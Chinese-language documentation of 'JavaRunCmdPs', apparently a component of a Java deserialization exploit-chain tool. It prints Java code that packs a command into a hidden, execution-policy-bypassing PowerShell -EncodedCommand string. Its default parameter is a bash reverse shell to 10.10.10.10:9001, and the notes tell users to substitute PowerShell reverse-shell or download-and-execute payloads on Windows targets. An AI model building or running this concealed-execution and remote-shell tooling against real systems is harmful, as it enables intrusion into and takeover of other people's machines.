- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:无(仅用 JDK 自带
java.util.Base64)
把用户给定的命令改写成一条 PowerShell -EncodedCommand(-Enc)Base64 命令字符串,用于在 Windows 上通过 Runtime.exec 稳定执行含空格、引号、管道等复杂语法的命令。是 JavaRunCmdBash 的 Windows 对应版本。
- 入口
tags:Other、END——Other表通用工具,END表其为链末端节点(自身即产出最终命令字符串)。 - 衔接
nextTags:无。 excludes:无。
关键在于 PowerShell -EncodedCommand 要求的是 UTF-16LE 编码后再 Base64 的字符串,源码用「每个字符字节 + 追加一个 0 字节」的方式手工构造 UTF-16LE:
public static String getPowershellCommand(String cmd) {
char[] chars = cmd.toCharArray();
ArrayList<Byte> temp = new ArrayList<Byte>();
for (char c : chars) {
byte[] code;
for (byte b : code = String.valueOf(c).getBytes(Charset.forName("UTF-8"))) {
temp.add(b);
}
temp.add((byte)0); // 每字符后补 0x00,凑成 UTF-16LE 低字节序
}
byte[] result = new byte[temp.size()];
for (int i = 0; i < temp.size(); ++i) {
result[i] = (Byte)temp.get(i);
}
String data = Base64.getEncoder().encodeToString(result);
String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
return prefix + data;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return JavaRunCmdPs.getPowershellCommand(this.cmd);
}逐段说明:
- 逐字符取 UTF-8 字节后追加一个
0x00,对 ASCII/常见字符而言等价于生成 UTF-16LE(低字节在前、高字节 0)编码,这正是 PowerShell-EncodedCommand期望的字节格式。 - 把该字节数组 Base64 编码为
data。 - 拼上前缀
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc:-NonI非交互、-W Hidden隐藏窗口、-NoP不加载 profile、-Exec Bypass绕过执行策略、-Enc接收 Base64 编码命令。整条命令以空格分隔的固定参数结构,能被Runtime.exec正确拆分。 invoke直接返回该字符串,忽略chain,是链叶子(END)。
注意:源码对多字节 UTF-8 字符仅在整字符的所有 UTF-8 字节后补一个 0,并非严格的 UTF-16LE,故对非 ASCII/中文命令可能编码不准;对纯 ASCII 命令(绝大多数攻击载荷)完全正确。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 执行命令内容 | sh -i >& /dev/tcp/10.10.10.10/9001 0>&1(应改为 PowerShell 命令) |
任意命令(必填) |
- 仅适用于 Windows 目标(依赖
powershell.exe与-EncodedCommand特性)。 - 默认
cmd是 Linux 反弹 shell,实际使用需替换为 PowerShell 反弹/下载执行等命令。 - 与 JavaRunCmdBash 同样是为解决
Runtime.exec不经 shell、无法处理复杂语法的问题,只是目标平台不同。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为 Windows 命令字符串预处理工具供自定义场景使用。
- 平台对应:JavaRunCmdBash(Bash 版本,面向 Linux)。
- 同目录工具类:Jar。